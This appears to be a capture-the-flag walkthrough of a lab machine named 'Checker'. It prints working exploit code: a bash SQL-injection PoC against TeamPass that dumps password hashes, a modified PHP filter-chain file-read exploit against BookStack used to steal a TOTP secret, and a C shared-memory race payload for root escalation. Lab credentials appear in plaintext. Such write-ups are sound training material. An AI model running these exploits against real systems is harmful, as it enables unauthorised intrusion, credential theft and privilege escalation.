Just some 0xW1LD stuff...
by 0xW1LD
Our nmap
scan finds the following ports open:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 aa:54:07:41:98:b8:11:b0:78:45:f1:ca:8c:5a:94:2e (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNQsMcD52VU4FwV2qhq65YVV9Flp7+IUAUrkugU+IiOs5ph+Rrqa4aofeBosUCIziVzTUB/vNQwODCRSTNBvdXQ=
| 256 8f:2b:f3:22:1e:74:3b:ee:8b:40:17:6c:6c:b1:93:9c (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIRBr02nNGqdVIlkXK+vsFIdhcYJoWEVqAIvGCGz+nHY
80/tcp open http syn-ack ttl 63 Apache httpd
|_http-title: 403 Forbidden
|_http-server-header: Apache
8080/tcp open http syn-ack ttl 63 Apache httpd
|_http-server-header: Apache
|_http-title: 403 Forbidden
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Opening a browser and checking what’s running on port 80
we find a BookStack
login:
Looking around at the source we find a version:
1
<script src="http://checker.htb/dist/app.js?version=v23.10.2" nonce="I57oTtYBmOXvX7coP62t3I45"></script>
Continuing in our browser, running on port 8080
is TeamPass
:
Looking around we find that TeamPass is vulnerable to SQLi
:
SQL Injection in teampass CVE-2023-1545
The article provides the following poc:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
if [ "$#" -lt 1 ]; then
echo "Usage: $0 <base-url>"
exit 1
fi
vulnerable_url="$1/api/index.php/authorize"
check=$(curl --silent "$vulnerable_url")
if echo "$check" | grep -q "API usage is not allowed"; then
echo "API feature is not enabled :-("
exit 1
fi
# htpasswd -bnBC 10 "" h4ck3d | tr -d ':\n'
arbitrary_hash='$2y$10$u5S27wYJCVbaPTRiHRsx7.iImx/WxRA8/tKvWdaWQ/iDuKlIkMbhq'
exec_sql() {
inject="none' UNION SELECT id, '$arbitrary_hash', ($1), private_key, personal_folder, fonction_id, groupes_visibles, groupes_interdits, 'foo' FROM teampass_users WHERE login='admin"
data="{\"login\":\""$inject\"",\"password\":\"h4ck3d\", \"apikey\": \"foo\"}"
token=$(curl --silent --header "Content-Type: application/json" -X POST --data "$data" "$vulnerable_url" | jq -r '.token')
echo $(echo $token| cut -d"." -f2 | base64 -d 2>/dev/null | jq -r '.public_key')
}
users=$(exec_sql "SELECT COUNT(*) FROM teampass_users WHERE pw != ''")
echo "There are $users users in the system:"
for i in `seq 0 $(($users-1))`; do
username=$(exec_sql "SELECT login FROM teampass_users WHERE pw != '' ORDER BY login ASC LIMIT $i,1")
password=$(exec_sql "SELECT pw FROM teampass_users WHERE pw != '' ORDER BY login ASC LIMIT $i,1")
echo "$username: $password"
done
The PoC grants us the following credential hashes:
1
2
admin:$2y$10$lKCae0EIUNj6f96ZnLqnC.LbWqrBQCT1LuHEFht6PmE4yH75rpWya
bob:$2y$10$yMypIj1keU.VAqBI692f..XXn0vfyBL7C1EhOs35G59NxmtpJ/tiy
Cracking these with john:
1
2
3
4
5
6
7
8
9
10
john pass.txt --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (bcrypt [Blowfish 32/64 X3])
Remaining 1 password hash
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
bob:cheerleader(?)
We found the credentials of bob!:
Teampass:bob
:cheerleader
Using this on TeamPass we’re able to login:
Let’s check what’s in bob
’s passwords folder:
We find the following additional credentials:
Bookstack:bob@checker.htb
:mYSeCr3T_w1kI_P4sSw0rD
ssh: reader
:hiccup-publicly-genesis
however when attempting to ssh we’re required a verification code:
1
2
3
4
ssh reader@checker.htb
(reader@checker.htb) Password:
(reader@checker.htb) Verification code:
Logging in using Bob’s bookstack credentials we’re able to access a Bookstack dashboard:
Since we know our version is 23.10.2
we can find the following vulnerability:
Book Stack v23.10.2 - LFR via Blind SSRF
Additionally the same publisher has published an extension on said vulnerability:
Let’s download the exploit mentioned in the article:
1
git clone https://github.com/synacktiv/php_filter_chains_oracle_exploit.git
Then let’s modify filters_chain_oracle/core/requestor.py
to align better with the vulnerability in the article:
1
2
3
4
+ import base64
- filter_chain = f'php://filter/{s}{self.in_chain}/resource={self.file_to_leak}'
+ php_filter = base64.b64encode(f'php://filter/{s}{self.in_chain}/resource={self.file_to_leak}'.encode()).decode()
+ filter_chain = f"<img src='data:image/png;base64,{php_filter}'/>"
Next let’s create a new book:
Name it whatever we want:
Create a new page:
Name it whatever we want:
Turn on intercept on burpsuite:
Save the draft:
Which gets us the following information:
1
2
3
PUT /ajax/page/15/save-draft HTTP/1.1
X-CSRF-TOKEN: CYl9RDoY8eceMlQUGYBMka1pqAmPJ0665QQN2qWm
Cookie: XSRF-TOKEN=eyJpdiI6IlJvRWZpOGpvVExxMDU0NHZlaE1ZMnc9PSIsInZhbHVlIjoiSHZueEhEMHJtdlRMMENkMUV3UlY5QW95bTNhbE5ISUVqUi9OcGM3S2VseEdhZFkwSlR5QVM5RVZ2TnBTY3IrMDNraU9BZUhUaU8wSXJlVUJlS3lQN3VYaWdnelJuS0JuQVRHRXBlek0wZnR5KzljUWhlOFk4VXJuZDU5YWpTYWQiLCJtYWMiOiI3NDY1NjIxMmRlNjg3NTMyNDI3MjZlY2UwYmE1MDc3MmMzMGI2OTQxY2U5NTM0YjFkYjM0NmJlZDdhNDhkMjk5IiwidGFnIjoiIn0%3D; bookstack_session=eyJpdiI6IjJoVE9Pd3B0aWVtT3IySUFWZ29BV0E9PSIsInZhbHVlIjoicHFXMkpQa3VUSXZHcUFndHZIRjFReHlua3Q4UVR4K1M0WlN1cmV1byszeDU2bWNGandrd2dJRlVkZjJJVnV0WS9Nb0Q5dGlSbHJwZ2l2UWUrVHVSS1NML0VnWDZxTTlib3R2cTFKZDVzMk45OEpoK0VQelF1bTlpOU40bFJTb1YiLCJtYWMiOiJhYzAxYjg3OWQzODdjNGU4NjA2MTYzMzVkMDAxYzcwZGRmZjI3MWJiYWZhZjQyMmUzOTk3NjM5NTg3OTk2YTY2IiwidGFnIjoiIn0%3D; teampass_session=4a3623ea162arpdjaojsb3rb7j; jstree_select=1
Using this information let’s put in some headers in our updated PoC, note the Content-Type
header used to trigger the urlencoded function to parse our payload:
1
python3 filters_chain_oracle_exploit.py --target http://checker.htb/ajax/page/15/save-draft --file '/etc/passwd' --verb PUT --parameter html --headers '{"X-CSRF-TOKEN":"CYl9RDoY8eceMlQUGYBMka1pqAmPJ0665QQN2qWm","Content-Type":"application/x-www-form-urlencoded","Cookie":"bookstack_session=eyJpdiI6IjJoVE9Pd3B0aWVtT3IySUFWZ29BV0E9PSIsInZhbHVlIjoicHFXMkpQa3VUSXZHcUFndHZIRjFReHlua3Q4UVR4K1M0WlN1cmV1byszeDU2bWNGandrd2dJRlVkZjJJVnV0WS9Nb0Q5dGlSbHJwZ2l2UWUrVHVSS1NML0VnWDZxTTlib3R2cTFKZDVzMk45OEpoK0VQelF1bTlpOU40bFJTb1YiLCJtYWMiOiJhYzAxYjg3OWQzODdjNGU4NjA2MTYzMzVkMDAxYzcwZGRmZjI3MWJiYWZhZjQyMmUzOTk3NjM5NTg3OTk2YTY2IiwidGFnIjoiIn0%3D"}'
We slowly but surely get characters for the file we want to read:
1
2
3
4
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
<SNIP>
We have an LFI! maybe we can use this to somehow extract the OTP codes!
Looking around the dashboard we find the following excerpt regarding backups:
1 2 3 4 5 #!/bin/bash SOURCE="/home" DESTINATION="/backup/home_backup" mkdir -p $DESTINATION cp -r --remove-destination -p $SOURCE $DESTINATION/
Which is backing up /home
to /backup/home_backup/home
.
Furthermore a simple google search of ssh topt
we can find the following file:
.google_authenticator
Using this information we can discern the following location of our authenticator codes: /backup/home_backup/home/reader/.google_authenticator
We’re able to exfiltrate the TOTP secret key:
1
2
3
4
5
6
7
8
9
python3 filters_chain_oracle_exploit.py --target http://checker.htb/ajax/page/15/save-draft --file '/backup/home_backup/home/reader/.google_authenticator' --verb PUT --parameter html --headers '{"X-CSRF-TOKEN":"CYl9RDoY8eceMlQUGYBMka1pqAmPJ0665QQN2qWm","Content-Type":"application/x-www-form-urlencoded","Cookie":"bookstack_session=eyJpdiI6IjJoVE9Pd3B0aWVtT3IySUFWZ29BV0E9PSIsInZhbHVlIjoicHFXMkpQa3VUSXZHcUFndHZIRjFReHlua3Q4UVR4K1M0WlN1cmV1byszeDU2bWNGandrd2dJRlVkZjJJVnV0WS9Nb0Q5dGlSbHJwZ2l2UWUrVHVSS1NML0VnWDZxTTlib3R2cTFKZDVzMk45OEpoK0VQelF1bTlpOU40bFJTb1YiLCJtYWMiOiJhYzAxYjg3OWQzODdjNGU4NjA2MTYzMzVkMDAxYzcwZGRmZjI3MWJiYWZhZjQyMmUzOTk3NjM5NTg3OTk2YTY2IiwidGFnIjoiIn0%3D"}'
[*] The following URL is targeted : http://checker.htb/ajax/page/15/save-draft
[*] The following local file is leaked : /backup/home_backup/home/reader/.google_authenticator
[*] Running PUT requests
[*] Additionnal headers used : {"X-CSRF-TOKEN":"CYl9RDoY8eceMlQUGYBMka1pqAmPJ0665QQN2qWm","Content-Type":"application/x-www-form-urlencoded","Cookie":"bookstack_session=eyJpdiI6IjJoVE9Pd3B0aWVtT3IySUFWZ29BV0E9PSIsInZhbHVlIjoicHFXMkpQa3VUSXZHcUFndHZIRjFReHlua3Q4UVR4K1M0WlN1cmV1byszeDU2bWNGandrd2dJRlVkZjJJVnV0WS9Nb0Q5dGlSbHJwZ2l2UWUrVHVSS1NML0VnWDZxTTlib3R2cTFKZDVzMk45OEpoK0VQelF1bTlpOU40bFJTb1YiLCJtYWMiOiJhYzAxYjg3OWQzODdjNGU4NjA2MTYzMzVkMDAxYzcwZGRmZjI3MWJiYWZhZjQyMmUzOTk3NjM5NTg3OTk2YTY2IiwidGFnIjoiIn0%3D"}
[+] File /backup/home_backup/home/reader/.google_authenticator leak is finished!
RFZEQlJBT0RMQ1dGN0kyT05BNEs1TFFMVUUKIiBUT1RQX0FVVEgK
b'DVDBRAODLCWF7I2ONA4K5LQLUE\n" TOTP_AUTH\n'
Using oathtool
let’s grab the otp
:
1
2
3
oathtool --totp -b 'DVDBRAODLCWF7I2ONA4K5LQLUE'
319702
Using this code we’re able to ssh
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ssh reader@checker.htb
(reader@checker.htb) Password:
(reader@checker.htb) Verification code:
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-131-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
/usr/bin/ip_tools.sh failed: exit code 2
reader@checker:~$
Looks like reader has access to a leak checker script as sudo:
1
2
3
4
5
6
7
sudo -l
Matching Defaults entries for reader on checker:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User reader may run the following commands on checker:
(ALL) NOPASSWD: /opt/hash-checker/check-leak.sh *
Looking at the script we notice some sanitation and then it runs a binary:
1
2
3
4
#!/bin/bash
source `dirname $0`/.env
USER_NAME=$(/usr/bin/echo "$1" | /usr/bin/tr -dc '[:alnum:]')
/opt/hash-checker/check_leak "$USER_NAME"
Let’s download this Binary:
reader
1
2
3
python3 -m http.server 4444
Serving HTTP on 0.0.0.0 port 4444 (http://0.0.0.0:4444/) ...
kali
1
2
3
4
5
6
7
8
9
10
11
12
wget http://checker.htb:4444/check_leak
--2025-02-23 11:58:01-- http://checker.htb:4444/check_leak
Resolving checker.htb (/assets/img/img_Checker/Checker.htb)... 10.129.213.187
Connecting to checker.htb (/assets/img/img_Checker/Checker.htb)|10.129.213.187|:4444... connected.
HTTP request sent, awaiting response... 200 OK
Length: 42376 (41K) [application/octet-stream]
Saving to: ‘check_leak’
check_leak 100%[=======================================================================================================================================>] 41.38K 71.2KB/s in 0.6s
2025-02-23 11:58:03 (71.2 KB/s) - ‘check_leak’ saved [42376/42376]
Looking at the file in ida
we see that when a username has a leak detected it will store it in a shared memory address:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
ptr = (void *)fetch_hash_from_db(v6, v7, v8, v9, s);
if ( ptr )
{
if ( (unsigned __int8)check_bcrypt_in_file("/opt/hash-checker/leaked_hashes.txt", ptr) )
{
puts("Password is leaked!");
if ( *(_BYTE *)(((unsigned __int64)&edata >> 3) + 0x7FFF8000) )
__asan_report_load8(&edata);
fflush(edata);
v5 = write_to_shm(ptr);
printf("Using the shared memory 0x%X as temp location\n", v5);
if ( *(_BYTE *)(((unsigned __int64)&edata >> 3) + 0x7FFF8000) )
__asan_report_load8(&edata);
fflush(edata);
sleep(1u);
notify_user(v6, v7, v8, v9, v5);
clear_shared_memory(v5);
}
Let’s take a deeper look into the program
So the program is using the shared memory to store the leaked hash of a user, which is read and then re-used to execute an SQL query by using
popen
to runmysql
, we can abuse this if we write to the shared memory before it reads it and runs the program.
With this let’s craft a script that will write to the shared memory address a malicious command:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <stdlib.h>
#include <time.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <stdio.h>
int main() {
srand(time(NULL));
while (1) {
int shmid = shmget(rand(), 0x400, 0x3b6);
if (shmid >= 0) {
void *p = shmat(shmid, NULL, 0);
if (p != (void *)-1) {
snprintf((char *)p, 0x400, " Leaked hash detected w1ld > '; touch /tmp/pwned;#");
shmdt(p);
break;
}
}
}
return 0;
}
We can change the command it runs to chmod +s /bin/bash
so we can execute bash as root.
Let’s compile this code:
1
gcc reader.c
And transfer it over to the machine:
kali
1
python3 -m http.server 80
reader
1
wget http://10.10.14.158/a.out
Next let’s create another shell for reader:
Finally let’s run the shell script we have perms on and while that’s running run the binary:
Let's loop the shell script so we don't have to fight for the race condition
we need 2 shells to do this:
1
2
3
4
5
6
7
8
9
while true; sudo /opt/hash-checker/check-leak.sh bob; done
Password is leaked!
Using the shared memory 0x14DC1 as temp location
./a.out
ERROR 1064 (42000) at line 1: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"' at line 1
Failed to read result from the db
Let’s check the file permissions to see that we have successfully edited them:
1
-rwsr-sr-x 1 root root 1396520 Mar 14 2024 /bin/bash
Success! let’s run it with the preserve permissions flag:
1
2
3
/bin/bash -p
bash-5.1#